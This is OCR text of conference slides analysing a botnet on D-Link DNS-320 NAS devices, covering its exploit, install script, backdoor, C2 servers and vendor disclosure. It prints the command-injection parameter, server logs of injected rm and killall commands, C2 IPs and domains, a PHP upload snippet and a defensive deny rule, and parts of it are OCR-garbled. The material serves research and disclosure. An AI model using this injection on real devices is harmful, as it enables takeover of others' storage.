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etting a NAS for heme-use researc

Consumer grade NAS bought for home use
Running a barebone Linux
Almost infinite disk space
Community tools (Fonz Fun_Plug)
Firmware tools for analysis

binwalk

SquashFS

'DLINK_DNS320.2.05b16(2.13.0226.2016) ' DNS-320_FIRMWARE_2.00.ZIP
ktracted
_DNS320.2.05b10(2.13.0226.2016) .extract DNS-320_FIRMWARE_2.02.ZIP
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/root/binwalk/DNS-320/DLINK_DI 20.2.05b10(2.13.0226.2016)
4653ca20e086Tbf6bT19310b14a3:
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NAS connected directly t
Leaving it alone for a few
Unusual outgoing HTTP t
Suspicious processes run

Can we get it hacked?
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Exploiting the device

No official CVE assig
Officially discovered

http://roberto.gre
More like a big hole

cgiFormString(
cgiFormString|

W SMS Settings
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LRL |
Replace space character with @] l:l ® none replace

Phone number1 | |

Phone number2 | |
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http://roberto.greyhats.it/advisories/20120208-dlink-rce.txt

The install script

Shell scripts split into multiple steps
Originally downloaded from Dropbox

Setting up VPN functionality by installing addition components

Package manager
Tinc (VPN)
Polipo (HTTP proxy)
Nylon (Socks proxy)
Dropbear (SSH daemon)
Creating a new root and remote user
Dropping a backdoor component
Persistence ensured by adding itself to “autorun”

VERSION-"11"

mnt_prefix="/mnt"
mnt_suffix-"4"

download prefix=" -
feed="http://94.1 Bgqlarme Junstable™

fake_prefix="$mnt_prefix/HD b%mnt_suffix

[ ! -d $fake_prefix/opt ] [ -d $mnt_prefix/HD_a$mnt_suffix/opt ]
fake_prefix-"$mnt_prefix/HD a$mnt_suffix"”

[ | -d $fake_prefix ]
fake_prefix-"$mnt_prefix/HD_a$mnt_suffix”




How net to prevent a vulnerability reuse

HTTP["querystring"] =~ "cmd=cgi_sms_test&command1=" {
url.access-deny = ("") }

192.168.188.31/cgi-bin,

cthDPmStrlng{ commandl”, &command, 512});
< ¢ @ irormstring([ComandZ], &v1. 512);

account mgr.cgil
apkg mgr.cgi
2pp mgr.cgl
cmd network
ccdepage_mgr.cgi
return CblHFddHrCHﬂtFﬂtT\le text




The backdoor

Stored in the main install script
base64 encoded

Dropped as update.cgi

Just a tiny compiled CGI script
Capable of executing anything as
root

Using a hardcoded constant for
authentication

int _ fastcall sub_87B4(unsigned _ int8

=3

*al, const char

*a2)




RSS feeds and C&C servers

RSS feeds are randomly used for retrieving additional commands

Protected by an RSA signature

It is a simple way to reach out to all nodes at once
There are 4 known C2 IP addresses

They are being accessed through an API call plus DDNS

getrssurl() {

21717218640 echo "http://feed.informer.com/digests/INSPKRR50T/feeder.rss
http://www.feedkiller.com/files/rss.php?id=31682
93.174.93.219 http://feedpress.me/mayo2@
http: //ww. rssmix. com/u/4086008/rss.xml "’
94.102.49.87 o '

94.102.52.85



DDNS
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piccolina
captaincrunch
smacks
frosties
crispix
chocos
classic

loops

jazz

finda

flippo
caramel

alpha-srv.mooo.com
zengo.cloudns.in
ringringring.cloudns.in
bnnpn.cloudns.in
sigur.cloudns.in
jagged.nsupdate.info
globulus.nsupdate.info
bigbird.nut.cc
jazz.ibiz.cc
finda.flu.cc
flippo.ibiz.cc
caramel.igg.biz



Architecture
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Botnet node

C&C server

NAS Device
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Vendor and CERT notification timeline

2014-07-24: Original discovery
2014-07-25: Botnet reported to D-Link
2014-07-30: GOV-CERT Hungary was contacted

2014-09-04: Hungary‘s National Investigation Bureau‘s cyber crime unit was contacted
2015: Original C2 shutdown
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Monitoring

"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.
"GET /cgi-bin/system_mgr.

cgi?cmd=cgi_sms_test&commandl=pwd HTTP/1.1" 200 61 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=rm%20/opt/etc/init.d/S2@0tinc HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=rm%20-R%20/opt/etc/dropbear HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=rm%20/opt/etc/nylon.conf HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=rm%20-R%20/opt/etc/polipo HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=rm%s20-R%20/opt/etc/tinc HTTP/1.1" 2@8@ 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=killall%20-KILL%2@0dropbear HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=killall%20-KILL%2@nylon HTTP/1.1" 2@8@ 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=killal1%20-KILL%2@0polipo HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=killall%20-KILL%20tincd HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=pwd HTTP/1.1" 200 55 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=rms20/opt/etc/init.d/S20tinc HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=rm%20-R%20/0pt/etc/dropbear HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=rm%20/opt/etc/nylon.conf HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=rm%20-R%20/0pt/etc/polipo HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=rm%20-R%20/opt/etc/tinc HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=killall%20-KILL%20dropbear HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=killall%s20-KILL%2@0nylon HTTP/1.1" 2@8@ 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=killall%20-KILL%20polipo HTTP/1.1" 200 5 "-" "curl/7.26.0"
cgi?cmd=cgi_sms_test&commandl=killall%20-KILL%2@0tincd HTTP/1.1" 280 5 "-" "curl/7.26.0"

2017: Version 11




Estimated size of the botnet

About 10.000 infected devices in 2015
Tinc’s GraphDumpFile option
Shodan & Censys queries
Several text files (status/error/version) are publicly accessible under webroot

digraph {
009c80f518954d40b@3bb9d70d11344f [label
0225d5f9e7d04585964aa4af6c4b@367 [label
0230bf049b964025b6dceall20263bea [label
02c93bbd86cd4642a984872107d38b8d [label
02f553773cbf4c62b@805Fff8633f9f3a [label
03b90d5ea88d4f6bb0823891936d0d80 [label
04232610338247998c027f7284d1cafl [label
0430274570744474b01a67d240828b73 [label
044b4cdbab35477ab5dcc56d280b2d01 [label
0507289b92f8472f9bbede2elclaal2l [label
0657aelaf@ec42459b56a49be76b9c25 [label
0682a97352be421db6f60365246d42d7 [label
075bd8ebc4f04300be3a34c07d8c19e5 [label
@7af39e6939d40a7803568a7cd902907 [label
082df345e6434c8e93855417a4601eld [label

"'009c80158954d40b03bb9d70d113441"] ;
"'9225d5f9e7d04585964aa4af6c4b0367"] ;
"'9230bf@49b964025b6dceall20263bea" ] ;
""92c93bbd86cd4642a984872107d38b8d" ] ;
""@2f553773cbf4c62b0805ff8633f9f3a"];
"'@3b90d5ea88d4T6bb0823891936d0d80" ] ;
"'04232610338247998c027f7284d1cafl"];
"'0430274570744474b01a6Td240828b73"] ;
""@44b4cdb6a635477ab5dcc56d280b2d01"] ;
"'9507289b9218472f9bbede2elclaal2l"];
"@657aelaf@ecd2459b56a49be76b9c25"];
""0682a97352be421db6T60365246d42d7"] ;
""@75bdBe6c4T04300be3a34c07d8c19e5" ] ;
""@7af39e6939d40a7803568a7cd902907" ] ;
"'982df345e6434c8e93855417a4601el1d"];
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One device — multiple infections

(lisset($_FILES["upfile"]["error"])
is_array($_FILES["upfile"]l["error"])

RuntimeException("Invalid parameters.");

( 'move_uploaded_file(
$_FILES["upfile"]["tmp_name"], sprintf("%s/%s", $_POST["uploaddir"], $_FILES["upfile"]["name"])))

RuntimeException("Failed to move uploaded file.");
}
echo "File is uploaded successfully.";
(RuntimeException $e) {
echo $e->getMessagel();

N> E UWCOUUR ouamnana )y
debug(&vl);
return cglHeaderLontentType( "text/html");




Firmware inconsistencies and other vendors

Not all fixes are backported

D-Link selling to OEMs
Western Digital (My Cloud)
TRENDNet

ﬂr:r“[n::rltr:rltTg,.'pE|j text/html"™};

DNS-320 A1 FW 2.00 (07/16/13) DNS-320 A1 FW 2.06 (04/11/2019) DNS-320L FW 1.00 (08/20/12)



From the cradle to extinction — There is always a bigger
fish

Firmware occasionally updated to a non-vulnerable version

* Simple flashing is not enough for botnet cleanup

Devices targeted by the botnet got replaced or died

CrlpTOr ransomware appearing at the end of 2018

* D-Link issuing a quick fix even for DNS-320 within few months of discovery

i Topic: DNS-320 Rev Ax/Bx - Cr1pTOr ransomware firmware fix (Read 3189 times)

Administrator « on: April 11, 2019, 12:46:21 PM »
Level 10 Member
FORUM ADMIN

Posts: 2246 Firmware has been released. This or any firmware will NOT recover encrypted files

Rev A1/ A2 -

Rev B1 / B2 -




Attribution

The name “Stefan” appears in multiple IPK packages
First C2 location was in Germany

Several account details collected

Initial exploitation from a .de IP address

Some DDNS are registered from a .de IP address

i ) tine_1.0.18-1_arm.ipkiting_1.0.18-1_arm\.M\

Name Size Packed Size
|| debian-binary 4 512
|| datatar.gz 98 300 98 304
| control.tar.gz 362 512
¥ | ylon_1.21-5_arm.ipkinylon_1.21-5_armb.\

MName Size Packed Size
|| debian-binary 4 512
|| datatar.gz 16 966 17408
|| controltar.gz 612 1024

WWW.animes.so
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Summary
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The botnet can be controlled on various ways

* Sending commands to the proxy through VPN

* Using the RSS feed which is protected by an RSA key

* Using the deployed backdoor component

* Using the original vulnerability

Keeping a low profile even after the reinfection of devices
High volume network traffic, easy to hide the “needle”
Files stored on the NAS could be accessed on demand
Related links

* Search-Lab: More than fifty vulnerabilities in D-Link NAS and NVR devices (2014)
https://www.search-lab.hu/advisories/secadv-20150527

* GulfTech: WDMyCloud Multiple Vulnerabilities (2018)
http://gulftech.org/advisories/WDMyCloud%20Multiple%20Vulnerabilities/125

* CyStack: DNS-320 ShareCenter Unauthenticated Remote code execution (2019)
https://blog.cystack.net/d-link-dns-320-rce/



https://www.search-lab.hu/advisories/secadv-20150527
http://gulftech.org/advisories/WDMyCloud%20Multiple%20Vulnerabilities/125
https://blog.cystack.net/d-link-dns-320-rce/

Conclusion
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Simple vulnerability to exploit

Specific device is needed to catch the infection

Malicious activity and files cannot be detected by normal users

No AV on the device to flag anything suspicious and send it to a lab
High number of initially exploitable devices

Average skillset and dedication is often enough

Operating under the radar

Vendors slowly responding to fixing the vulnerability

People still not keeping 1oT and similar devices up to date
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